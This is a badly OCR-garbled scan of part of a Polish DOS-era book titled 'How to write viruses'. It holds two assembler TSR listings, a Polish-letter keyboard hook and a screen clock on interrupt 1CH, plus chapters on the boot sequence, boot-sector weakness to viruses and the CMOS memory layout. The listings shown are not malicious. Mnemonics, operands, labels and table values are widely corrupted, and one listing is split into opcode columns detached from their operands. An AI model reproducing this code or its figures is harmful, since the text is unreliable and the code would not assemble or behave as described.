zmiany powinny byc jednak zaznaczone w Cym mie]jscll.

e M M ma ma ma tme hs fep e ew ew W T md mp

r
)
r
f
,
r
r
r
; Program moze nie chodzic dla starszego typu klawiatur. Jest to
r
r
,
;
L
L

..................................................................

DOGS3EG

MODEL Tiny

.8TACK 30H

.DATA

Alt EQU 0200H ; jesli program ma reagowac na lewy i prawy alt,

: to stala ta powinna miec wartosc O8H

; patrz opis zmiennej systemowej 0:417H

Klawisz F1 EQU 68H; Eod klawisza po nacisnieciu ktorego program sie
T ; deaktywuje (normalnie Fl)

Nr_przerwania EQU 16H

Kody alt DB 30,46,18,38,49,24,31,44,45,123

Kody male DB 134,141,145,146,164,162,158,167,166,155

Kody duze DB 143,149,144,156,165,163,1532,161,160,155

Komunikatl DB ' Program Keyboard jest jus w pamieci. £,13,10, %"
KomunikatZ DB Program Kevhoard zainstalowany. $,13,10,°8°
Komun%kaEB DB rUzycie: lewy all + litera = mala litera ‘.
S13,310,°57

Komunikatd DB ‘lewy alt + shift + litera = duza litera ’,13,10,'%°
Komunikat: DB ¢ Deaktywacja alt+shift+Fl. ,13,10,0 57

Adres_przerwania DD {7)
Identyfikator_ 1 DW {7?)
Identyfikator_2 DW (7}

.CODE

Przerwanie:

CLIT

CMP AH, 01

JE 2h_rowne 1
JL 2h_rowne_0
CHMF AH, 10H

JE | Ah_rowne_0
CMP AH,11H

JE ah_rowne_1
JMP CS:FAR[Adres_przerwania+2]
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Ah _rowne_1:

PUSHF
CATLL
CLT
PUSHF
JNZ
JHE
Cos_jest:
CALL
JZ
CALL
JNZ
JMEP

2h_rowne_0:

PUSHF
CALL

" CLI

PUSHF
CALL
J3
CALL
JNZ
JMFP
al:
CHP
JNZ
PFUSH
PUSH
bPUsSH
PUSH
PUSH
MOV
INT
MOV
MOV
MOV
MoV
MOV
INT
MOV
MoV
MOV
MoV
MOV
MOV
MOV
INT
MOV
SuUB
MOV
MOV
INT
MOV
MOV
MOV
MoV
INT
POP
BOP
EBOE
POP
POP
JME

CS:FAR[Adres przerwania+2]
Cos_jest ]

Koniec_ przerwania
Nacisniety lewy alt
¥oniec_przerwdrla
Zapalony Capn

g1

Male litery
CS:FAR [Adres_przerwania+2)

Nacisniety_ lewy_alt
Koniec prrzerwania
éapalony _caps

1

Male_litery

AH, Klawisz_F]
Wielkie_litery

Sprawdzenie, czy nacisnieta jest
kombinacja alt + shift (CAPS} +F1

e ma mE my

A jesli tak, to usuniecie programu

E)A z pamieci

BX

DS

ES

A, 62H

21H ; Zapamietanie identyfikatora processu
A¥,CS ; blezacego i odtworzenie identyfikatora
DZ,AY ; zapamletanege przy instalowaniu programu.

Tdantyfikator_z, BY

BX, Identyflkator 1

AH,SGH

21d

AX,C5

ES, AX

AX,WORD PTR ES:Adres przerwanial2]

S, AX

DX, ggRD PTR ES:[Adres_przerwania]
H

AL Nr_przerwania

21h

AX,CS

AX,10H

ES,AX

LH, 49H

218

A, OB

DS, AX

BX, Tdentyfikator_2 ; Odtworzenie identyfikatora
A, 50H ; aktualnie wykonywanego
21H ; processu,

Es

ng

BX

DX

AX

Koniec_prrzerwania

Wielkie 11tery

CALL
JMP

Wielkie_litery proc
Koniec_przerwania

Male_ litery:

CALL Male litery proc
Konie¢_przerwania:

PCPF

STI

RETF 02

; Zeruje znacznik Z ,jesli lewy alt jest nacisniety,
R przec1wnym w¥padku 2 jest ustawiany
Nacisniety lewy_a
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PUSH AX
PUSH BX
PUSH DS

MOV AX, 0
MOV DS, AX
MOV BX, 4174
MOV AX, [BX]
AND AX, ALT
POP DS

POP BX

POP AX

RET

; Procedura zeruje znacznik Z przy zapalonym CAPS LOCK-u lub
; weisnietym klawiszu SHIFT, W przeciwnym wypadku Z jest ustawiany

Zapalony_caps:

PUSH AX

PUSH BX

PUSH DS

MOV AX, 0

MOV DS, AX

MOV BX.,417H

MOV A¥, [BX]

PTISH A¥

AND A¥,40H

JNZ CAPS_STATE

BOP AX

AND A3, 31

JMP END_caps
CAPS_STATE:

Pop AX

AND AX,3H

JZ @z

CME X, AX ; Ustawienie =znacznika Z w przypadku gdy
JMP END CAPS ; rownoczesnie Jjest nacisniety SHIFT
@2: ; 1 zapalony CAPS LOCK,
MOV AX,1

CHMP AX, 0
END _CAPS:

POP DS

POP BX

POP AX

RET

; Procedura zamienia wielkie litery, przy nacisnietym klawiszu ALT
; na polskie litery im odpowiadajace.
Wielkie litery _proo:

PUSH DS

PUSH ES

PUSH ST

PUSH nT

FIISH BX

PUSH CX

MOV BX, AX

MOV CX, 10

MOV A¥,CE

MOV Dg,Ax

MOV AX,BX
ai:

MOV S5I,CX

E CMP AH,Kody_alt[SI-1]
' JE Zamiana_ litery w

LOOPNE @3

MOV AX ,BX

JMP Konlec_w

Zamiana litery w:

MOV AL, Kody_duze[si-1]
MOV AH, G
Koniec_w:

POP (4

POPR BX

POP DI

POP 5L

POP ES

POP D3

RET

Procedura zamienia male litery, przy nacisnietym klawiszu ALT na

¥
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; polskie litery im odpowladajace.
Male litery proc:

PUSH
FUSH
EUSH
FUSH
FUSH
PUSH
MOV
MOV
MOV
MOV
MUY
bd .
MOV
CME
JE
LOOPHE
MOV
JME

D5

CX

BX, AX
CX,10
AX,CS
D=, aX
AX,Bx

5I,.CX
AH,Kody_alb [3I-1]
famiana_litery_m
24

AX,BX

Konliec_m

Zamiana_litery_m:

MOV
MOV
Koniec_m:
POR
POF
POP
BOF
POP
POF
RET
Pigz:
MOV
INT
RET
r Wlasciwa
program:
MOV
MoV
INT
MOV
MoV
MOV
MOV
MOV
CLD
REP
JE
CLI
MOV
MOV
MOV
MOV
MOV
MOV
MOV
MOV
INT
MOV
CALL
MOV
CALL
MoV
CALL
MOV
CALL
MOV
SuUB
MOV
MO
MOV
MoV
MOV
INT
MOV

AL,Kody_male[8Y-1]

4
EBX
DI
51
ES
DS

AH, 9
21H

instalacia programu

AH, 35H
Al,Nr_przerwania

21H

DI, BY

A¥,SEG Przerwanle
DS, A%

5I,0FFSET FPrzerwanle

CX, Program-Przerwanie-1

CMPSB o
Program_ w_pamisci

WORD PTR [Adres_przerwanial,BX

A¥,ES

WORD PTR Adrea_przerwania[2],AX

A¥,5EG Pr-merwanilie
DS, AX

D¥,0FFSET Przerwanle
AH, 25H )

AL, Nr_przerwania

21h

DX, OFFSET Xomunikat?
Pisz

DX, OFFSET Komunikat3
Pizz

DX, OFFSET Komunikatd
Pisz

DX, OFFSET Komunikath
Pisz

A, QCODE
AX,10H
LS, aX
BX, 2CH
AY, [BX]
ES, 83X
AH, 49H
21H

AH, 62H

e ma M W

Jak pisac wirusy

Zwolnienie pamiecl zajmowane] prze:z
srodowisko programu. Adres sagmentu
srodowiska znajduje sie pod offsetem
ZCH przedroatka PSP.
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INT 21H ; Zapamietanie identyfikatora procesu
MOV AX, BDATA : Funkeijo ta jeoar nieudokumentowana,
MOV D3, AX : ale korzyataja z niej praktycznie

MOV Identyfikater_1,BX ; wszystkie TSR - ¥

STI

MOV DX,OFFSET Identvfikator_2; Wyznaczenie w rejestrze DX liczby
MOV CL, 4 ; paragrafow (10H b) pamieci potrzebnych

SHR ¥, CL czescl rezydentne] programu {+10H - FSP)

ADD DX, 11H 1 zakonczenie pracy czescl instalacyjnej

{Dane sa w pamieci za kodem, wiec

MOV AX,3103H ; przy pomocy funkeji systemowej 31H INT 2Z21H
: Identyfikator 2 to ostatni adres programu) .

Program_w_pamieci:

MOV AX, @DATA

MOV DS, aX

MOV DX, OFFSET Komunikatl
CALL Pisz

MOV DY, OFFSET XKomunikat3
CALL Pis=

MOV D¥,0OFFSET Ecomunikatd
CALL Pisz

MOV DX, 0FFS5ET Komunikatb
CALL Pisz

MOV AR, 4CH

INT 21H

END Program

Drugi program przechwytuje przerwanie zegarowe uzytkownika (1CH) i wyswietlla w prawym gdraym rogu ekranu zegar.

Program Timer Andrzej Dudek Wrzesien 1992

Program przechwytuje przerwanie zegarowe uzytkownika 1CH i :
wyswietla w prawym gornym rogu ekranu zegar w postacl gg:mm;:ss ;
Program dziala dla komputerow posiadajacych Zegar Czasu ;
Rzeczywistego RTC (AT, 386,486), oraz majacych karte, ktorej H
r
s

pamiec ekranu zaczyna sie pod adresem (BOQU:0000({VGA,EGA,
Hercules)}. Dla kart niestandardowych nalezy ustawic; parametry
Pierwszy_ekran i1 Drugi_ekran tak aby wskazywaly na segmenty
pamieci obrazu w trybie tekstowym.

Program sprawdza, czy Jego poprzednie wywolanie nie jest juz w

pamieci. Jezeli tak jest, to drukuje odpowiedni kemunikat 1 nie;
instaluje sie. Deaktywacja programu nastepuje po nacisnieciu ;
kombinacii klawiszy: CTRL + lewy SHIFT + prawy SHIFT ;

Program mozesz dowolnie rozpowszechniac 1 modyfikowac. Wszelkie;
zmiany powinny byc jednak zaznaczone w tym mlelscu: H

ma L M4 oW Tmg g g My ey My e Ma W4 R mE M ma ma ma w

* m a2 omom s omomomom & om o oaow o+ aoaad bt
I A N L

DOSSEG

MCODEL TINY

.STACEK 28H

-.DATH

Nr przerwania EQU 1CH
Pierwszyv_ekran EQU 0BOOOH
Drugi_ekran EQU OBEIUOH
Atrybut EQU 70H

Klawigze EQU 07

[ R )
LI S I A

Przerwarnie zegarowe uzytkownika
Segmenty adresow pamieci

chrazu.

Atrybuty zegara.

Eombinacja klawiszy usuwajacych
program (p. opis zmiennej 0:417).

My Tma M e wa ma

Komunikatl DB ' Zegar jest juz w pamieci *,13,10,°3’

Komunikat? DB Zegar zalnstalowany £,13,10,57

Komunikatd DB 'Usuniecle - CTRL+SHIFT+SHIFT', 13,10, "5

Licznik DB 0 : Zmienna sluzaca do ockreslenia kiedy miedzy liczbami
; powinny byc wyswietlane dwukropki, a kiedy spacje

Zegar DB ,22:22:22~ : Tekst do wyswietlenia na ekranie

Identyfikator 1 DW (?)
Identyfikator_2 DWW (7?)
ddres przerwania DD (7))
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; Wlasciwa procedura obslugi przerwania
Chzluga_przerwania:

CLI

CALL Wyswietlanie
CALL Usuniecie
STI

IRET

: Procedura zamienia pare cyfr zapisanych w kedzie BCD znajdujacych
; sie w BH na pare znakow odpowiadajacyvech tym cyfrom. Znaki sa

: zwracane w rejestrach AH, AL

HEX2ASCII:

PUSH cX

MOV CL, 4
MOV AL,BH
MOV AH,BH
AND AL, OFH
ADD aL,30H
MOV L, 4
SHR AH,CL
AND AN, OFH
ADD AH, 30H
POP CX
RET

; Procedura pobiera aktualny czas z przewania 1AH funkcja 06H,
; ustawla na jego podstawie lancuch zegar, a naslepnie wyswiella
; g9 na ekranle.

Wyswietlanie:

PUSH ES

PUSH DS

PUSH AX

PUSH EX

PUSH CX

PUSH DX

MOV A¥,C8

MOV DS, A%

MOV AH,02H

INT 1AH

JC @1

MOV BH,CH

CALL HEXJIASCII
MoV Zegar[0] ., a8
MOV Zegar[1l), AL
MOV BH, CL

CALL HEXZ2ASCIT
MOV Zegar([3].,AaH
MOV Zegar([4],AL
MOV BH, DH

CALL HEX2ASCTI
MOV Zegar[6],AH
MOV Zegar|[7],AH
MOV AH, Licznik
INC AH

MOV Licznik, AH
AND AH, 10H

JNZ Dwukropki
MOV Zegar (2], 20H
MOV Zegar[5],20H
JMP gl
Dvukropki:

MOV Zegar[2],3AH
@TOV Zegar [5] ,3AH
CALL Wyswietl
POp DX

POFE 894

POF Bx

POP AKX

POP | B

POP ES

RET
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; Procedura wylwietla zawartosc lancucha zegar
i W prawym gornym rogu ekranu.

Wyswietl:
MOV A¥X,Pierwszy ekran
CALL Ekran
MOV AX, Drugi_ekran
CALL Ekran
RET
Ekran:
MOV ES,AX
MOV cX,8
Petla:
MOV BX,CX
DEC BX
MOV DL, Zegar [BX]
ADD BX, EBX
MOV ES: [BX],DL ; Jesli zegar mialby byc wyswietlony nie
MOV DL, Atrybut ; w pra gornym rogu ekranu, ale zaczynajac
MOV ES: [BX+1],DL ; od punktu o wspolrzednych i,j (024, .
LOOFP Petla i 079) to nalezalo by zastosowac wzor .
RET ; adres_znaku = Poczatek_chrazu+l60*i+32*

adres_atrybutu = Poczatek_obrazu+160*i+3*j+l

; Procedura sprawdza, czy nie zostala nacisnieta odpowiednia
i

Jak pisac wirusy

kombinacja klawiszy, a jesli tak to przywraca pierwotna obsluge

; przerwania 1CH
Usuniecie:

B{IEH EG

PUSH D5

PUSH B

PUSH BX

PUSH DX

XOR AX, AX

MOV ES, AXY

MOV BX,0417H

MoV AH,BYTE PTR ES: [BX] : Zmienna 0:417 okresla stan klawiatury
AND AH,Klawisze ; patrz opls zmiennych systemowych
CHP AH,Klawisze

JE Do _usuniecia

JMP Koniec_usuwania
Do_usuniecia;

CLI

MOV AH,62H

INT 218 ¢ Zapamietanie identyfikatora processu
MOV AX,CS ; biezacego i odtworzenie identyfikatora
MOV DS, AX ; zapamietanege przy instalowaniu
MOV Identyfikator 2,BX ; programu.

MOV BX,Identyfikator_1

MOV AH, 50H

INT 21H

MOV AX,C8

| MOV ES, AX

MOV AX,ES:WORD PTR Adres_przerwania([2]

MOV D5,8X '

MOV DX, ES:WORD PTR [Adres prrerwania]

MOV AL.Nr przozwania

MOV AH,25H

INT 21H

MoV AX,Cg

SUB AX,10H

MOV ES, AX

MOV AH, 49H

INT 21H ; Zapamietanie identyfikatora processu
MOV AX,C5 ; biezacego i odtworzenie identyfikatora
MOV DS, AX ; zapamietanego przy instalowaniu
MOV Identyfikator_ 2,BX ; programu.

MOV BX, Identyfikater 1

MOV AH,50H

INT Z1H

8T

MOV AR, CS

MOV ES,AX

MOV CX,8

Petlal:

MOV BX,CX
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MOV Fegar [BX-1],20H

LOQP Petlal

CALL Wyswiell
Koniec_usuwania:

POF DX

POP BX

POP AX

BOP D3

POP ES

RET

. Czesc instalacyjna
Instalacia:

MOV AH,35H

MOV AL, Nr przerwania

INT 21H

MOV DI, BX

MOV AX,SEG Obsluga_przerwania

MOV Ds, AX

MOV yl,UFFSET Obslugu preerwanlia

MOV CK,Instalacjawobsluga_przerwania—l

CLD

REP CMPSE

JE juz_w_pamieci

CLI

MoV WORD PTR [Adres_przerwanial,BX

MOV A¥ ES

MOV WORD PTR Adres_przerwanial2].aX

MOV AX,S5EG Obsluga przerwania

MOV DS, AX

MOV DX, 0FFSET Obsluga przerwania

MOV AH, 25H

MOV AL,Nr przerwania

INT 21h

MOV AX,BC0ODE

SUE AX,10H

MOV D3, AX

MOV BX, 2CH

MOV aX, [Bx] . Zwolnienie pamieci zajmowanej przez
MOV ES,AX . srodowisko programu. Adres segmentu
MOV AH,49H ; srodowiska znajduje sie pod offsetem
INT 21iH ; 2CH przedrostka PFSP.

MOV AH,62H

INT 21H v Zapamletanie identyfikatora processu
MOV X, @DATA - Tinkcja ta jest nieudokumentowana,
MOV g, A ¢t ale korzystaja z niej praktycznle
MOV Identyfikator_ 1,BX ; wszystkie TSR =~ ¥

, BT

MOV A¥,SEG Komunikat?

MOV DS, AX

MOV DX,OFFSET Komunikatl

MOV AH, S

INT 21H

MoV LY, 5EG Komunikat3

MOV D5, AX

MOV DY, 0FFSET EKomunikat3

MOV AH, 90

INT 21H

MOV DX,0FFSET Adres_przerwania-l Okbliczenle liczby

MOV L, 4 :paragrafow (1L0H bajtdw) potrzebnych czescl
SHR Lx,CL ;rezydentnej programu (10H paragrafow na
ADD DX, 11H :PSP), zakonczenle pracy czescil

MOV aX,31063H jingtalacyine] i porostawienie

INT 21H s pamieci czesci

.rezydentnej (funkcja syst. 31H)

Juz_w_pamieci:

MOV AX,SEG Komunikatl ; Jesli przerwanie zegarowe
MoV DS, AaX ; jest juz przechwycone,

MOV DX,0FFSET Komunikarl - Lo wydrukowanie keomunikatu
MOV AH, S : 1 zakonczenie pracy w sposob
INT 21lu : normalny (funkcja 4CH}.
MOV A¥,8EG Komunikat3

MOV D3, A%

MOV DX,OFFSET Komunikat3

MOV AH, Y9

INT 21H
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MoV AH, 4CH
INT 21H
END Instalacia

12, Podréz do wnetrza systemu

Wtym momencie koriczymy nasz krétki kurs assemblera. Zdajg sobie sprawe, e byt to tylko pobiezny przeglad niektérych
rozkazéw, ale instrukcje poznane do te] pory wystarczg Ci do zrozumienia dalszych czescl ksigzki. Objagnienie dzialania
pozostalych rozkazow znajduje sig w ¢czesci pigtej ksiazki. Zachecam réwniez do siggnigeia po inne, bardziel szczegdlowe
lektury dotyczace tego tematu,

Zanim przystapisz dotego, po cokupites te ksigzkg, czyli do czytania o budowie wirusa musisz jeszcze troghg sig pomeczy.
Cheiatoym, aby$ zapoznat sle z wnetrzem swojego komputera, a whasciwie jego systemu operacyjnego. Wiadomosci te sg
naprawdg niezbedne aby zrozumiot nastgpna rozaziaty. Nie przejmuj sig, 53 to tylko najprostsze Informacje. Nie stargj sie
zapamietac wszystkiego. Chodzi mi o to, abys mial pewne pojecie o tym, o czym bedziemy pdéniej rozmawiad, a po
szczegdly zawsze bedziesz magh wrécic.

Jasli natomiast jestes starym wyjadaczem komputerowym i wiadomosci, kidre tu znajdziesz beda dia Clebie zbyt oczywiste,
to siegnij po rozdziat pigly, gdzie mazesz otrzymac duzo wigcej konkretnych informagii.

Start systemu

l Pewnie wiele razy po wigczeniu komputera odezuwales 2l0$¢ czekajac po whaczeniu komputera, az zacznie on przyjmowad
, Twoje polecenia. Niestety ma on do wykonania w tym czasle tyle czynnoscl, 2e nie moze to trwad kréca).
Pigrwsze, co musi zrohig, to sprawdzi¢ czy nie wystepuig fizyczne uszkodzenia zadnej z czedcei komputera. Ten etap
- nazywa sig POST (Power On Self Test — Test wewnelrzny po wigczeniu zasilania). Testowanie odbywa sig najczescie)
poprzez zapisywanie jakichs wartosci do pamigei lub portdw wejscia/ wyjscia, a nastgpnie ich odczytywanie. Jesii warosé

Zapisana i odezytana nie jest taka sama $wiadozy to najczedeie] o bledzie pamigei lub urzadzenia dotaczonego przez port.
§  Praykiadowo testowanie klawiatury cdbywa sig przez wpisanie do portu 64H (patrz opis portdw klawiatury AT) wariogci OEEH,
i anastgpnis odczytanlu wanoscl 2 1800 portu i poréwnaniu tych liczb.

Podczas POST sprawdzana jest réwniez aktualna konfiquracia komputera, W XT-kach na podstawie ustawienia przetacz-
nikiw, & w nowszych typach na podstawie zawartosci pamigci CMOS. Ponadto w komputerach powyiej AT mozna zmieniaé
kenfiguracig {najczesciej program SETUP) , testowaé poprawnoéé (nie tylko sprawdzad czy dziatajg, ale réwniez np szukad
uszkodzonych seklordw) dysku twardego, staci dysidetek , karty graficzng, itd, oraz dokonad nisko-poziomoweqo formato-
wania dysku twardego (Nazwa tego programu moze by¢ réina w zaleznosci od typu komputera — w moim nazywa sig
DIAGNOSE).

Te wszystkie czynnosei s wykonywane przez BIOS znajdujgey sie w pamigef statej (ROM). Po pomyéinym zdaniy testu
sierowanie jest oddawane systemowi operacyinemu. Odbywa sig to w kilku krokach. W plerwszym seklorze logicznym (tzn
3 blokuladujacym - sciezka 0 glowica 0 sektor 1) dyskietki znajduje sig krolki program odpowiedzialny za wezytanie systemu.

- Wpierwszym sekiorze dysku twardego (tablica partycfi) znajduja sig informacje o podziale dysku twardego na strefy i program
wezytujacy blok tadujacy strefy z systemem operacyjnym. Po wykenaniu POST, BIOS wywoluje przerwanie 19K, prébujac
wezytac pierwszy sekior dyskietki pod adres 0:7CO0H, jedli préba zawiedzie {np. brak dyskietki w napedzie), to probuje
wozytaé pierwszy sektor dysku twardego, jedli i to zawiedzie, wywolywane jest przerwanie 18H. W oryginainym IBM PC
przerwanie to uruchamia interpreter BASIC-a z pamiec! stale]. W kionach przerwanie wypisuje komunikat o braku dyskietki
systermowej | czeka na naciénigeie dowolnege kfawisza.

Po pomysinym wezytaniu pierwszego seklora dysku lub dyskietki sterowanie jest oddawane do programu tadujgcego

% (poprzez instrukejg FAR JUMP 0:7COQH).Program ten wezytuje dwa pliki 10.8YS i MSDOS.SYS fw réznych wersjach

& ° sysiemu te zblory maga sl rénie nazywad), zawierajgce programy obsfugi podstawowych urzadzen zewnetrznych, takich

~ jekdysk twardy, czy konsola uzytkownfka, Jesli podezas wezytywania tych zbiordw wystapi jakis blad {np dyskietka nie byta

simatowana jako systemowa | nie zawiera tych plikow), to program fadujacy wyswietla odpowiedni kemunikat | prosi
o wymiang dyskietki,
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Po zatadowaniu tych plikéw wezylywana jest rezydentna czesé procesora polecers COMMAND.COM. Ta czgsd jest
odpowiedzialna za obstuge bieddwi sytuaci krytycznych oraz przerwart 22H, 23H, 24H. Nastepnie wykonywane sg poiecenia
uzytkownika zawarte w plikach CONFIG.SYS i AUTOEXEC.BAT. W pliku CONFIG,SYS mogg znaleZ¢ sig potecenia, takie
jak wybdr trybu wyswietlania czasu i daty w zaleznosci od kraju, czy zafadowania programow obslugi nistypowych urzadzen
zewnetrznych {np. dysk wirtualny, czy program obstugi gémej pamigei}. Plik AUTOEXEC BAT zawiera polecenia systemu
operacyjnego. Oba pliki s3 Ci na pewno bardzo dofirze znane i nie ma sensu w tym migjscu zairzymywaé sie diuze; nad
nimi. Jesli jednak nie znasz jeszcze doktadrie ich dziatania, to odsytam do ksigzek poswigconym podstawom systemu
MS-DOS.

Ostatni efement startu systemu, to wezytanie czescl przenosgnej procesora COMMAND.COM. Ta czedé odpowiada za obstugg
wszystkich plecen wewnegtrznych systemu (COPY, DIR, itd) oraz przyjmowanie polecen uzylkownika; to ona wypisuje znajomy
symbol G

Dokiadiy aposdh przachiwytenia programu tadujacegs bedzie apisany w hastepnym rozdziale. W tym miejscu chiialbym
Ci zwrdcié uwage na kilka szczegotdw:

Z punktu widzenia wirusologii, stabodcia tej metody wezytywania systemu jest korzystanie z systemowego programu
{adujacego, znajdujgceqo sig na dyskietce. Gdyby ten program umiescic w pamigci stale komputera, to nie byta by mozliwosci
jego zmiany, a tym samym nis mogtby do niego doczepié sig zaden wirus. Wydawaloby sig wige, 2e takie rozwiazanie
radykalnie zmniejszyloby moziiwosci rozmnazania sie wiruséw. Niestety w tym wypadku lekarsiwo okazatoby sig gorsze od
choroby, bowiem uniemoziiwitoby to wezytywanie jakichkolwiek innych systemdw operacyjnych poza MS-DOS-em {a nawet
jego nowszych wersji ). W cbacne] syluacji natomiast nie tylko mozliwe jest jest korzystanie z systemow takich jak UNIX, ale
Wwrgcz réwnoczesne istnienie na dysku twardym kilku stref sformatowanych w téznych systemach. Moina wigc powiedzied,
Ze ceng placong, za tg uniwersainosE sa wiasnie wirusy.

Myslg natomiast, ze w przysztych komputerach bedg istniat mechanizmy ochrony blokdw tadujacych i nie bedzie moina
ich zmieniaé bez zgody | wiedzy systemu operacyjnego. W ten sposéb dzialanie wirusdw ulegnie ograniczeniu.

13. Pamie¢ CMOS

Komputery klasy AT posiadajg zasilany z baterii 2egar c2asu rzeczywisteqgo | 64 bajty niekasowalnej pamigel. Pamigé fa
zawiera wiela informacii takich jak aktualny czas, datai informacje o konfiguraci komputera. Jesli podezas POST zobaczysz
napis ,Run Selup® bedzie to oznaczate, iz aktualna kenfiguracja komputera nie cdpowiada tej zapamigtanej w CMOS, i ze
natezy skorygowaé 13 sytuacje.

Odwotania do pamigci CMOS odbywaja sig w sposab nastepujacy. Najpierw do portu 70h wysylamy adres w parnieci, z kidrege
cheomy korzysta€, nastepnie z portu 71h mazemy odezytac wartosé tej komdrki lub wpisaé nowg wartosé.

Przyktadowo, fesli w Twoim programie cheiatby$ sprawdzaé jaki typ dysku twardego jest zainstalowany w Twoim
komputerze, powinienes umiescié w nim nastepujace instrukge:

mov al,l12H

out 70H,al :wWybiera adres CMOS 12Zh

jmp S+2 ;ta instrukedja nie ma zadnege zZnaczenia
: ;poza opoznienienm

in al,71H ;&L zawiera teraz typ dysku twardego.

Adresy od 10h do 20h s chronione przez warto$¢ kontrolng znajdujaca sie w komdrkach 2eh i 2fh. Znajduje sie tam
16-bitowa suma wszysikich chronionych bajtow. Jesli wige cheialbys zmienié zawartosé kidrejs z tych komérek, to musiatbys
na nowo policzyé sumeg kontrolng i zapisad je nowg wartosé. W przeciwnym wypadku, podezas nastgpnago startukomputera
musiathyé na nowo ustawiad konfiguracje.

Zaninzaczdermy szczegolowy opis tejpamied, naley Ci sig jeszcze pewna informacia. Otda bade wopisie uzywat skrsiu BCD. Oznacza
on specjalny sposéb zapisu liczb. Jest to tryb misszany dwdjkowo-dziesiginy. W bajeie zapamigtuje sig dwucyfrows liczbe
dziesiging przeznaczajae pierwsze czterybily na pierwsza cyfre, nastepne cztery bity na druga. Przykdadowo zapis 01111601
oznacza liczbe 79, zapis 00110101 liczbg 35. Zapis 11001010 jest tym kodzie niepoprawny. Teraz moge Ci juz przedstawic
znaczenie poszczegodinych komdrek pamigei CMOS.
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Adres Opis
aktualna sekunda zegara czasu rzeczywistego {RTC) w kodzie BCD.
sekunda ystawienia budzika w kodzie BCD
akiualna minuta RTC w BCD
minuta ustawienia budzika w BCD
aktualha godzina RTC w BCD
godzina ustawienia budzika w BCD
dzieri tygodnia {1=niedziela 2=poniedzialek itd.}
dzieri miesigca w BCD
migsigc w BCD
rok w BCD (ostatnie dwie cyiry)
RTC rejestr stanu A
7 6 5 43 210

I_‘_‘_L wybxr lempa {ustawiony na 0110)
22-stangwy dzieinik czestoliwosel fustawlony na 010)
Trwa akiualizacla (UIP). 0 nznacza 2o moZng czyiad.

~ N A D M D

= WO o
)
-

0bh RTC rejestr stanu 8
76 5 43 210

HEEEE

l_ Czas latni. O=czas standardowy (ustawiony na 0)
[ D=lryb 12 godeinny zegars (ustawiony na 1)
| {=tane zapisywans dwdjkowo, 0=BCO. {ustawiony na 0}
1=V3cza fale proste. (ustawiony na 0)
1=Umeziwia przerwanie po aktualizacjiiustawsony na 0}
1=UmoHiwia przerwanie budzika. {ustawiony na 0)
1=UmoHiwia przerwania oo staly okres {ustawiony na 0}
Tewa aklualizaca (UIF) . = mo#na czyvtad CMOS.

ch RTC rejestr stanu C. Tylko do cdezytu- bity stanu przerwari
Oh RTC rejestr stanu D.Bit 7 = 1 kiedy CMOS-BAM ma zasilanie
= 0 baterie sa wyczerpane.
" Deh baijt stanu ustawiany przez POST.

i 765 438321090

1 Lo 9]
poprawnost czasu (1 =nie jest dzisiaj 30 lutego)

1=l dysk twardy, nis moina z niego wysierowad systerny

Niewlaeiwy rozmiar RAM. 1 = POST znalaztinny rozmiar

1=Nie zgadza sig kenfiguracia

$=Nie zgadza sie suma kontroina CHMOS-u

1=Wysiadia bateria zegara

ofh Powod wyfaczenia,

Pr2ed POST ten bajt jest sprawdzany, by okreslic w jaki sposéb kemputer restartowat. BIOS sprawdza, czy restart nastapit
aby opuscié tryb wirtualny procesora 80286. Znaczenie poszezegdinych wartosci jest nastepujace:
= Gorgcy resiarl (Trzech Krdli — Alt Ctd Del}. Opusé POST
Wiytaczenie po okredleniu wielkosci pamigci
Wytaczenie po wykonaniu testu pamieci
Wytaczenie po bledzie parzystosci pamigei
Restart na 2adanie BOOTtrap loadera

L R L
m n nm
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) = Zimny reslart programowy (wyzerowanie kontrolera przerwari i FAR JMP 0:{467h]
6,78 = Restart po tescie pracy wirtualng]
§ = Restart po wykonaniu przestaniz bloku w trybie wirtualnym
0aH = Zimny restart programowy {FAR JMP (:[467h] -
10h Typ stacji dyskow w systemie, i
7 85 4 3 2 10 L
| | :
l_L J_I_ Piarwszy napad L
Drugi raped -
0G0 = Oh = nie zamnstalowany, 0001 = 1h = 350KE =
0010=2h=1.2M 5, 0011=8h=1.44 M
11h Zarezerwowang
12h Typ dysku twardego {dla dyskdw C: i D: jesli ich typ miesci sie pomigdzy 11 14 , w przeciw-

nym wypadku ~ patrz komdrki 18h 1ah)
76 5 43 2 10

w1

|
J Pierws2y dysk twardy {naped G}

Drugi dysk twardy {napeed [:)
0000 = brak, 1111 = typ Znajduje sig w 19h1ah

pozostale=typ dysku.
Znaczenie typu dysku jest wyjasniene przy opisie komdrek 13h,1ah

13h ZarezemNowans
14h Bajt wyposaZenia komputera,

dsk | obr t 0 Omr? n

L 1 = Napedfy) dyskigtek zainslalowany
1 = Koprovesor malematyczny 80287 zainstalowary

wi

pierwolny typ ofraz
00 = zaden lub EGA, 1 = 40-kolumnowy CGA, ro
10 = g0 kalumnowy CGA, 11 = TTL monachramatyczny ne
Liczba stacji dyskow w systemie {00=1, 01=2, 10=3, 11=4} t ||
e
15h Pamieé podstawowa RAM (dolny bajf) 0100H=256KB , 0200H=512KB ko
16h Pamigc padstawowa RAM (gérny bajt) 0280H=-640K8 .
17h Pamied rozszerzona panad TMB (dolny bajt) {W KiloBajtach, 0-3c00H) ur;
18h Pamig¢ rozszerzona ponad 1MB {gdmy bajt) na
18h Typ dysku twardego O {naped C:} jesti wigkszy niz 14 (patrz komdrka 12h) we
1ah Tyo dysku twardego 1 (naped D:) jesli wigszy niz 14 (patrz kemérka 12h) (
RIOS standartowa roziéinia nastepujace rodzaje dyskdw twardych (Plenwszy to dysk twardy oryginalnego XT): Wit
_ Ab
Tyw| Cyl | Glow | Prekomp | Stf | Rozmiar | {Typ| Gyl | Glow | Prekomp. | St Romiar :;:
11 306 1 4 128 306 1 30M 16 632 | 4 0 663 | 21M nie
2 1 615 1 4 300 615 | 21M 17| 977 | 5 300 977 | 42M
3 | 615 | 8 300 615 | 32M 18| 977 | ¥ OffiH 977 | S58M
4 | 940 | § 512 940 | 65M 181 1024 7 512 1023 | 62M
5 1 940 [ 6 212 940 | 439M 11201 733 | 5 300 732 1 31M
6 | 615 4 GittfH gi% 21M 211 733 1 7 300 732 1 44M
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Typ! Cyl | Glow | Prekomp | Stid Rozmiar Typ| Cyl | Glow | Prekomp. | St Romiar
71 462 | 8 256 511 JZM 221 I3¥_L5 =00 733 1M
8 | 733 | 6 QifffH 733 | 3M 231 306 | 4 0 338 10M
8 1900 ¢ 15 ofiffH a1 117 2447 Zarezewowane

10! 820 | 3 OttitH B20_1 21M

